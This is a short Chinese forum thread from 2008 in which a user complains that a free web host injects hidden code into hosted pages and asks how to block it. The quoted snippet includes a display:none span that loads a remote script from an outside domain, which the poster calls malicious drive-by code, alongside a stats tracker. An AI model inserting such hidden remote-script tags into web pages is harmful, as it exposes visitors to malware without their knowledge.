script74

我发现网上很多免费的空间都存在强制加入广告代码甚至挂马的问题

比如我现在使用的5944.net就在免费空间用户的网页文件中强制加入了如下代码：

<span style="display:none;">
<script src=http://asdfasdf.88y.net/js.js></script></span>
<span style="display:none;">
<script src='http://s51.cnzz.com/stat.php?id=767123&web_id=767123' language='JavaScript' charset='gb2312'>
</script>
</span>
<!--7i24 IIS AD-->

其中就存在恶意挂马的问题

奇怪的是代码并没有直接写入文件

而是在你浏览网页的时候下载到文件里

不知岁月的大大们有没有办法屏蔽这种代码

我的网址是script74.cn

(别想着黑哦，这只是我用来测试的，没流量，没价值，让你们黑了我还原起来很烦的..)

猪猪

有的空间商是直接在IIS上面给你插入的。

script74

这个我也知道，但问题是，应该能有方法能阻止代码的下载

[ 本帖最后由 script74 于 2008-3-1 12:02 编辑 ]